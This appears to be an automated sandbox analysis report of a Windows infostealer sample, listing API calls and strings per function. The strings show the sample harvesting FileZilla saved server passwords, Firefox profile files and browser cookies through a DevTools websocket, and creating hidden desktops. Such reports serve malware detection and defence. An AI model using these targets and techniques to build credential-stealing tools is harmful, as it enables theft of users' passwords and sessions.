GetProcAddress.KERNEL32(74DD0000,02F5AA20), ref: 004269F8
GetProcAddress.KERNEL32(74DD0000,02F5D7B8), ref: 00426A11
GetProcAddress.KERNEL32(74DD0000,02F5D7F8), ref: 00426A29
GetProcAddress.KERNEL32(74DD0000,02F5D738), ref: 00426A41
GetProcAddress.KERNEL32(74DD0000,02F5D578), ref: 00426A5A
GetProcAddress.KERNEL32(74DD0000,02F5AC18), ref: 00426A72
GetProcAddress.KERNEL32(74DD0000,02F5ACD8), ref: 00426A8A
GetProcAddress.KERNEL32(74DD0000,02F60040), ref: 00426AA3
GetProcAddress.KERNEL32(74DD0000,02F5D498), ref: 00426ABB
GetProcAddress.KERNEL32(74DD0000,02F5AA50), ref: 00426AD3
GetProcAddress.KERNEL32(74DD0000,02F5AAC8), ref: 00426AEC
GetProcAddress.KERNEL32(74DD0000,02F5AB58), ref: 00426B04
GetProcAddress.KERNEL32(74DD0000,02F5AAF8), ref: 00426B1C
GetProcAddress.KERNEL32(74DD0000,02F5D598), ref: 00426B35
GetProcAddress.KERNEL32(74DD0000,02F5ACF0), ref: 00426B4D
GetProcAddress.KERNEL32(74DD0000,02F5AB40), ref: 00426B65
GetProcAddress.KERNEL32(74DD0000,02F5AB10), ref: 00426B7E
GetProcAddress.KERNEL32(74DD0000,02F5AB28), ref: 00426B96
GetProcAddress.KERNEL32(74DD0000,02F5AB70), ref: 00426BAE
GetProcAddress.KERNEL32(74DD0000,02F5AB88), ref: 00426BC7
GetProcAddress.KERNEL32(74DD0000,02F650A8), ref: 00426BDF
GetProcAddress.KERNEL32(74DD0000,02F65138), ref: 00426BF7
GetProcAddress.KERNEL32(74DD0000,02F651F8), ref: 00426C10
GetProcAddress.KERNEL32(74DD0000,02F592D0), ref: 00426C28
GetProcAddress.KERNEL32(74DD0000,02F65228), ref: 00426C40
GetProcAddress.KERNEL32(74DD0000,02F65120), ref: 00426C59
GetProcAddress.KERNEL32(74DD0000,02F5D658), ref: 00426C71
GetProcAddress.KERNEL32(74DD0000,02F64F40), ref: 00426C89
GetProcAddress.KERNEL32(74DD0000,02F5D758), ref: 00426CA2
GetProcAddress.KERNEL32(74DD0000,02F64FA0), ref: 00426CBA
GetProcAddress.KERNEL32(74DD0000,02F64FD0), ref: 00426CD2
GetProcAddress.KERNEL32(74DD0000,02F5D4D8), ref: 00426CEB
GetProcAddress.KERNEL32(74DD0000,02F5D4B8), ref: 00426D03
LoadLibraryA.KERNEL32(02F64FB8,004206EF,?,00422075), ref: 00426D15
LoadLibraryA.KERNEL32(02F65198,?,00422075), ref: 00426D26
LoadLibraryA.KERNEL32(02F64FE8,?,00422075), ref: 00426D38
LoadLibraryA.KERNEL32(02F65090,?,00422075), ref: 00426D4A
LoadLibraryA.KERNEL32(02F650C0,?,00422075), ref: 00426D5B
LoadLibraryA.KERNEL32(02F65210,?,00422075), ref: 00426D6D
LoadLibraryA.KERNEL32(02F65180,?,00422075), ref: 00426D7F
LoadLibraryA.KERNEL32(02F651B0,?,00422075), ref: 00426D90
GetProcAddress.KERNEL32(75290000,02F5D838), ref: 00426DAC
GetProcAddress.KERNEL32(75290000,02F651C8), ref: 00426DC4
GetProcAddress.KERNEL32(75290000,02F64BB8), ref: 00426DDD
GetProcAddress.KERNEL32(75290000,02F650F0), ref: 00426DF5
GetProcAddress.KERNEL32(75290000,02F5D4F8), ref: 00426E0D
GetProcAddress.KERNEL32(734C0000,02F60018), ref: 00426E2D
GetProcAddress.KERNEL32(734C0000,02F5D518), ref: 00426E45
GetProcAddress.KERNEL32(734C0000,02F60090), ref: 00426E5E
GetProcAddress.KERNEL32(734C0000,02F65000), ref: 00426E76
GetProcAddress.KERNEL32(734C0000,02F650D8), ref: 00426E8E
GetProcAddress.KERNEL32(734C0000,02F5D538), ref: 00426EA7
GetProcAddress.KERNEL32(734C0000,02F5D558), ref: 00426EBF
GetProcAddress.KERNEL32(734C0000,02F64F88), ref: 00426ED7
GetProcAddress.KERNEL32(752C0000,02F5D5B8), ref: 00426EF3
GetProcAddress.KERNEL32(752C0000,02F5D5D8), ref: 00426F0B
GetProcAddress.KERNEL32(752C0000,02F65030), ref: 00426F24
GetProcAddress.KERNEL32(752C0000,02F64F70), ref: 00426F3C
GetProcAddress.KERNEL32(752C0000,02F5D638), ref: 00426F54
GetProcAddress.KERNEL32(74EC0000,02F5FD98), ref: 00426F74
GetProcAddress.KERNEL32(74EC0000,02F5FF28), ref: 00426F8C
GetProcAddress.KERNEL32(74EC0000,02F65060), ref: 00426FA5
GetProcAddress.KERNEL32(74EC0000,02F655A8), ref: 00426FBD
GetProcAddress.KERNEL32(74EC0000,02F65428), ref: 00426FD5
GetProcAddress.KERNEL32(74EC0000,02F5FDE8), ref: 00426FEE
GetProcAddress.KERNEL32(75BD0000,02F65018), ref: 0042700E
GetProcAddress.KERNEL32(75BD0000,02F65408), ref: 00427026
GetProcAddress.KERNEL32(75BD0000,02F64BA8), ref: 0042703F
GetProcAddress.KERNEL32(75BD0000,02F65150), ref: 00427057
GetProcAddress.KERNEL32(75BD0000,02F65048), ref: 0042706F
GetProcAddress.KERNEL32(75BD0000,02F656A8), ref: 00427088
GetProcAddress.KERNEL32(75BD0000,02F653E8), ref: 004270A0
GetProcAddress.KERNEL32(75BD0000,02F651E0), ref: 004270B8
GetProcAddress.KERNEL32(75BD0000,02F65168), ref: 004270D1
GetProcAddress.KERNEL32(75BD0000,CreateDesktopA), ref: 004270E7
GetProcAddress.KERNEL32(75BD0000,OpenDesktopA), ref: 004270FE
GetProcAddress.KERNEL32(75BD0000,CloseDesktop), ref: 00427115
GetProcAddress.KERNEL32(75A70000,02F65668), ref: 00427131
GetProcAddress.KERNEL32(75A70000,02F65078), ref: 00427149
GetProcAddress.KERNEL32(75A70000,02F65108), ref: 00427162
GetProcAddress.KERNEL32(75A70000,02F64F58), ref: 0042717A
GetProcAddress.KERNEL32(75A70000,02F652D0), ref: 00427192
GetProcAddress.KERNEL32(75450000,02F65508), ref: 004271AE
GetProcAddress.KERNEL32(75450000,02F65588), ref: 004271C6
GetProcAddress.KERNEL32(75DA0000,02F654C8), ref: 004271E2
GetProcAddress.KERNEL32(75DA0000,02F652B8), ref: 004271FA
GetProcAddress.KERNEL32(6F070000,02F65368), ref: 0042721A
GetProcAddress.KERNEL32(6F070000,02F654E8), ref: 00427232
GetProcAddress.KERNEL32(6F070000,02F65608), ref: 0042724B
GetProcAddress.KERNEL32(6F070000,02F652E8), ref: 00427263
GetProcAddress.KERNEL32(6F070000,02F65388), ref: 0042727B
GetProcAddress.KERNEL32(6F070000,02F65448), ref: 00427294
GetProcAddress.KERNEL32(6F070000,02F653A8), ref: 004272AC
GetProcAddress.KERNEL32(6F070000,02F65468), ref: 004272C4
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 004272DB
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 004272F2
GetProcAddress.KERNEL32(75AF0000,02F65288), ref: 0042730E
GetProcAddress.KERNEL32(75AF0000,02F64C18), ref: 00427326
GetProcAddress.KERNEL32(75AF0000,02F652A0), ref: 0042733F
GetProcAddress.KERNEL32(75AF0000,02F65258), ref: 00427357
GetProcAddress.KERNEL32(75D90000,02F653C8), ref: 00427373
GetProcAddress.KERNEL32(6CD90000,02F65300), ref: 0042738F
GetProcAddress.KERNEL32(6CD90000,02F65628), ref: 004273A7
GetProcAddress.KERNEL32(6CD90000,02F65240), ref: 004273C0
GetProcAddress.KERNEL32(6CD90000,02F65270), ref: 004273D8

Strings

CreateDesktopA, xrefs: 004270E1
CloseDesktop, xrefs: 0042710A
HttpQueryInfoA, xrefs: 004272E7
InternetSetOptionA, xrefs: 004272D0
OpenDesktopA, xrefs: 004270F3

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseDesktop$CreateDesktopA$HttpQueryInfoA$InternetSetOptionA$OpenDesktopA
API String ID: 2238633743-3468015613
Opcode ID: 0bf0a02720c7e355025fd7e2bc0777a4398fadcff199562e967650eb672106bc
Instruction ID: 23d0fb627994b291268d0d087fd21a8a1fd901ee655ab8a215392dc8c53dce6c
Opcode Fuzzy Hash: 0bf0a02720c7e355025fd7e2bc0777a4398fadcff199562e967650eb672106bc
Instruction Fuzzy Hash: F8625EB9A103009FD758DF65ED88AA637BBF789345310A91DF95683364DBB4A800DFB0

Function 004016A0 Relevance: 202.4, APIs: 114, Strings: 1, Instructions: 1164stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004016E2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401719
lstrcpy.KERNEL32(00000000,00000000), ref: 0040176C
lstrcatA.KERNEL32(00000000), ref: 00401776
lstrcpy.KERNEL32(00000000,00000000), ref: 004017A2
lstrcpy.KERNEL32(00000000,00000000), ref: 004017EF
lstrcatA.KERNEL32(00000000,00000000), ref: 004017F9
lstrcpy.KERNEL32(00000000,00000000), ref: 00401825
lstrcpy.KERNEL32(00000000,00000000), ref: 00401875
lstrcatA.KERNEL32(00000000), ref: 0040187F
lstrcpy.KERNEL32(00000000,00000000), ref: 004018AB
lstrcpy.KERNEL32(00000000,?), ref: 004018F3
lstrcatA.KERNEL32(00000000,00000000), ref: 004018FE
lstrlenA.KERNEL32(0043179C), ref: 00401909
lstrcpy.KERNEL32(00000000,00000000), ref: 00401929
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401935
lstrcpy.KERNEL32(00000000,00000000), ref: 0040195B
lstrcatA.KERNEL32(00000000,00000000), ref: 00401966
lstrlenA.KERNEL32(\*.*), ref: 00401971
lstrcpy.KERNEL32(00000000,00000000), ref: 0040198E
lstrcatA.KERNEL32(00000000,\*.*), ref: 0040199A

Part of subcall function 00424250: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 0042427D
Part of subcall function 00424250: lstrcpy.KERNEL32(00000000,?), ref: 004242B2

lstrcpy.KERNEL32(00000000,00000000), ref: 004019C3
lstrcpy.KERNEL32(00000000,?), ref: 00401A0E
lstrcatA.KERNEL32(00000000,00000000), ref: 00401A16
lstrlenA.KERNEL32(0043179C), ref: 00401A21
lstrcpy.KERNEL32(00000000,00000000), ref: 00401A41
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401A4D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401A76
lstrcatA.KERNEL32(00000000,00000000), ref: 00401A81
lstrlenA.KERNEL32(0043179C), ref: 00401A8C
lstrcpy.KERNEL32(00000000,00000000), ref: 00401AAC
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401AB8
lstrcpy.KERNEL32(00000000,00000000), ref: 00401ADE
lstrcatA.KERNEL32(00000000,00000000), ref: 00401AE9
lstrcpy.KERNEL32(00000000,00000000), ref: 00401B11
FindFirstFileA.KERNEL32(00000000,?), ref: 00401B45
StrCmpCA.SHLWAPI(?,004317A8), ref: 00401B70
StrCmpCA.SHLWAPI(?,004317AC), ref: 00401B8A
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401BC4
lstrcpy.KERNEL32(00000000,?), ref: 00401BFB
lstrcatA.KERNEL32(00000000,00000000), ref: 00401C03
lstrlenA.KERNEL32(0043179C), ref: 00401C0E
lstrcpy.KERNEL32(00000000,00000000), ref: 00401C31
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401C3D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401C69
lstrcatA.KERNEL32(00000000,00000000), ref: 00401C74
lstrlenA.KERNEL32(0043179C), ref: 00401C7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00401CA2
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401CAE
lstrlenA.KERNEL32(?), ref: 00401CBB
lstrcpy.KERNEL32(00000000,00000000), ref: 00401CDB
lstrcatA.KERNEL32(00000000,?), ref: 00401CE9
lstrlenA.KERNEL32(0043179C), ref: 00401CF4
lstrcpy.KERNEL32(00000000,?), ref: 00401D14
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401D20
lstrcpy.KERNEL32(00000000,00000000), ref: 00401D46
lstrcatA.KERNEL32(00000000,00000000), ref: 00401D51
lstrcpy.KERNEL32(00000000,00000000), ref: 00401D7D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401DE0
lstrcatA.KERNEL32(00000000,00000000), ref: 00401DEB
lstrlenA.KERNEL32(0043179C), ref: 00401DF6
lstrcpy.KERNEL32(00000000,00000000), ref: 00401E19
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401E25
lstrcpy.KERNEL32(00000000,00000000), ref: 00401E4B
lstrcatA.KERNEL32(00000000,00000000), ref: 00401E56
lstrlenA.KERNEL32(0043179C), ref: 00401E61
lstrcpy.KERNEL32(00000000,?), ref: 00401E81
lstrcatA.KERNEL32(00000000,0043179C), ref: 00401E8D
lstrlenA.KERNEL32(?), ref: 00401E9A
lstrcpy.KERNEL32(00000000,00000000), ref: 00401EBA
lstrcatA.KERNEL32(00000000,?), ref: 00401EC8
lstrcpy.KERNEL32(00000000,00000000), ref: 00401EF4
lstrcpy.KERNEL32(00000000,00000000), ref: 00401F3E
GetFileAttributesA.KERNEL32(00000000), ref: 00401F45
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401F9F
lstrlenA.KERNEL32(02F64D98), ref: 00401FAE
lstrcpy.KERNEL32(00000000,?), ref: 00401FDB
lstrcatA.KERNEL32(00000000,?), ref: 00401FE3
lstrlenA.KERNEL32(0043179C), ref: 00401FEE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040200E
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040201A
lstrcpy.KERNEL32(00000000,?), ref: 00402042
lstrcatA.KERNEL32(00000000,00000000), ref: 0040204D
lstrlenA.KERNEL32(0043179C), ref: 00402058
lstrcpy.KERNEL32(00000000,00000000), ref: 00402075
lstrcatA.KERNEL32(00000000,0043179C), ref: 00402081

Strings

\*.*, xrefs: 0040196C, 00401994

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$AttributesFindFirstFolderPath
String ID: \*.*
API String ID: 4127656590-1173974218
Opcode ID: 16641ee5bfc3b36655953ac0ea482dc3d73e056014c157765f0f4001902d0fa9
Instruction ID: 7097801765e119414d04f665fd554480723eb8561d6499bb2c35ab919e1fbf01
Opcode Fuzzy Hash: 16641ee5bfc3b36655953ac0ea482dc3d73e056014c157765f0f4001902d0fa9
Instruction Fuzzy Hash: E8928471A112169BCB21AF65DD88AAF77B9AF44304F04103AF805B72E1DBB8DD05CFA4

Function 00416AA0 Relevance: 163.5, APIs: 83, Strings: 10, Instructions: 752stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00416AD5
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 00416B08
lstrcpy.KERNEL32(00000000,00000000), ref: 00416B42
lstrcpy.KERNEL32(00000000,00000000), ref: 00416B69
lstrcatA.KERNEL32(00000000,00000000), ref: 00416B74
lstrcpy.KERNEL32(00000000,00000000), ref: 00416B9D
lstrlenA.KERNEL32(\AppData\Roaming\FileZilla\recentservers.xml), ref: 00416BB7
lstrcpy.KERNEL32(00000000,00000000), ref: 00416BD9
lstrcatA.KERNEL32(00000000,\AppData\Roaming\FileZilla\recentservers.xml), ref: 00416BE5
lstrcpy.KERNEL32(00000000,00000000), ref: 00416C10
lstrcpy.KERNEL32(00000000,00000000), ref: 00416C40
LocalAlloc.KERNEL32(00000040,?), ref: 00416C75
strtok_s.MSVCRT ref: 00416CA2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00416CDD
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00416D0D

Strings

url: , xrefs: 00417117
browser: FileZilla, xrefs: 004170F9
<User>, xrefs: 00416EA4
login: , xrefs: 0041715D
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00416BB2, 00416BDF
<Host>, xrefs: 00416D94
password: , xrefs: 00417189
<Pass encoding="base64">, xrefs: 00416F2C
<Port>, xrefs: 00416E1C
profile: null, xrefs: 00417108

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AllocFolderLocalPathlstrlenstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 922491270-555421843
Opcode ID: c184b8ebad053a1501b17804bc3702fefbdf7602c98101a3a756c555e37561d2
Instruction ID: 51af14495505ab686557ba0587bb67f892bb394e37f4248425f9887d8345418f
Opcode Fuzzy Hash: c184b8ebad053a1501b17804bc3702fefbdf7602c98101a3a756c555e37561d2
Instruction Fuzzy Hash: 9E42A470B002169FCB11ABB5DD89BAF7B76AF44704F15102AF801E72D1DBB8D945CBA8

Function 004060D0 Relevance: 123.3, APIs: 68, Strings: 2, Instructions: 816stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 004060FF
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406152
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406185
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 004061B5
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 004061F0
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406223
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406233

Strings

", xrefs: 00406697, 00406785
------, xrefs: 00406359, 00406386, 004065FE, 004066EF

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------
API String ID: 2041821634-2370822465
Opcode ID: 550160108e697ba4035a58836f22b009e9d2405f1c4d8cc4ec7ad4c0341a8f8c
Instruction ID: 66fde9db8db161d1789a02194f871caace8dd80e9a65ac19bb10983fecd2207e
Opcode Fuzzy Hash: 550160108e697ba4035a58836f22b009e9d2405f1c4d8cc4ec7ad4c0341a8f8c
Instruction Fuzzy Hash: 6B526D71A002169BCB21AF79DD89A9F77B5AF44304F15503AF806B72D1DB78EC058FA8

Function 00404C50 Relevance: 112.8, APIs: 61, Strings: 3, Instructions: 807stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00404C7F
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404CD2
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404D05
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404D35
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404D73
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00404DA6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404DB6

Strings

_B, xrefs: 00404C53, 00404C67
", xrefs: 00405224, 00405312
------, xrefs: 00404EDC, 00404F09, 0040518B, 0040527C

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------$_B
API String ID: 2041821634-1334066325
Opcode ID: 3df2ce8565eb5f778e533a45e1ba28ed5803933cfd85d65d7271cc1a7c223946
Instruction ID: 2fc37791b40f0c20f3ec2b272b2869b44c74f291b2218bc7e7601986a52cb818
Opcode Fuzzy Hash: 3df2ce8565eb5f778e533a45e1ba28ed5803933cfd85d65d7271cc1a7c223946
Instruction Fuzzy Hash: 9B528F71A002169BDB21EBA5DD89A9F7BB5AF44304F14103AF905B72D1DB78EC418FE8

Function 00414C70 Relevance: 79.8, APIs: 44, Strings: 1, Instructions: 1095stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414CB1
lstrcpy.KERNEL32(00000000,00000000), ref: 00414CD4
lstrcatA.KERNEL32(00000000,00000000), ref: 00414CDF
lstrlenA.KERNEL32(00434CB8), ref: 00414CEA
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D07
lstrcatA.KERNEL32(00000000,00434CB8), ref: 00414D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D3E
FindFirstFileA.KERNEL32(00000000,?), ref: 00414D5A

Strings

prefs.js, xrefs: 00414F2C

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: prefs.js
API String ID: 2567437900-3783873740
Opcode ID: 012567d0b6ed41cd6d76f078589f67ee58de8c9a7b93bc5659a47c4217076a36
Instruction ID: 49bdda317acc71644f1f5d20937b36534487b1d3cc38bfa5369f5c39f7d2863f
Opcode Fuzzy Hash: 012567d0b6ed41cd6d76f078589f67ee58de8c9a7b93bc5659a47c4217076a36
Instruction Fuzzy Hash: 5A923170A01605CFDB24DF29D948BDA77E5AF84314F1980AEE8099B3A1D779DC82CF94

Function 00424AC0 Relevance: 69.4, APIs: 33, Strings: 6, Instructions: 1120stringnetworkCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00424AEE
strlen.MSVCRT ref: 00424B18

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 00408996

strlen.MSVCRT ref: 00424B5D
memcmp.MSVCRT(?,ws://,?), ref: 00424B93

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 004089CD
Part of subcall function 00408980: memcpy.MSVCRT(?,00000000,?,00000000,?,?,004087D0,?,00000000,00407897), ref: 00408A2B

Part of subcall function 00425AA0: memmove.MSVCRT(?,?,?,00000000), ref: 00425AE7

WSAStartup.WS2_32(00000202,?), ref: 00424E35
strlen.MSVCRT ref: 00424E57

Strings

Sec-WebSocket-Version: 13, xrefs: 00425138
{"id":1,"method":"Storage.getCookies"}, xrefs: 00425213
ws://, xrefs: 00424B58, 00424B8D
HTTP/1.1Host: , xrefs: 004250D2
:, xrefs: 00424D12
Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 00425114

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: strlen$Xinvalid_argumentstd::_$Startupmemcmpmemcpymemmove
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $:$ws://${"id":1,"method":"Storage.getCookies"}
API String ID: 938782968-758292691
Opcode ID: f9c2f9f22c9c52a972515be281b9a655999ee36ab67bb51bf059f7ef45103d89
Instruction ID: 1f57edad149d2b033beab2aa0fd4d68e0a12e54a6a830ff520578a29ff8a745a
Opcode Fuzzy Hash: f9c2f9f22c9c52a972515be281b9a655999ee36ab67bb51bf059f7ef45103d89
Instruction Fuzzy Hash: BEA26A71E012699FDB20DFA4D9407EDBBB6FF48300F5481AAE508A7281DB745E85CF94

Function 00404A60 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 115
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A74
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A7B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A82
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A89
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A90
GetProcessHeap.KERNEL32(00000000,?), ref: 00404A9B
RtlAllocateHeap.NTDLL(00000000), ref: 00404AA2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AB2
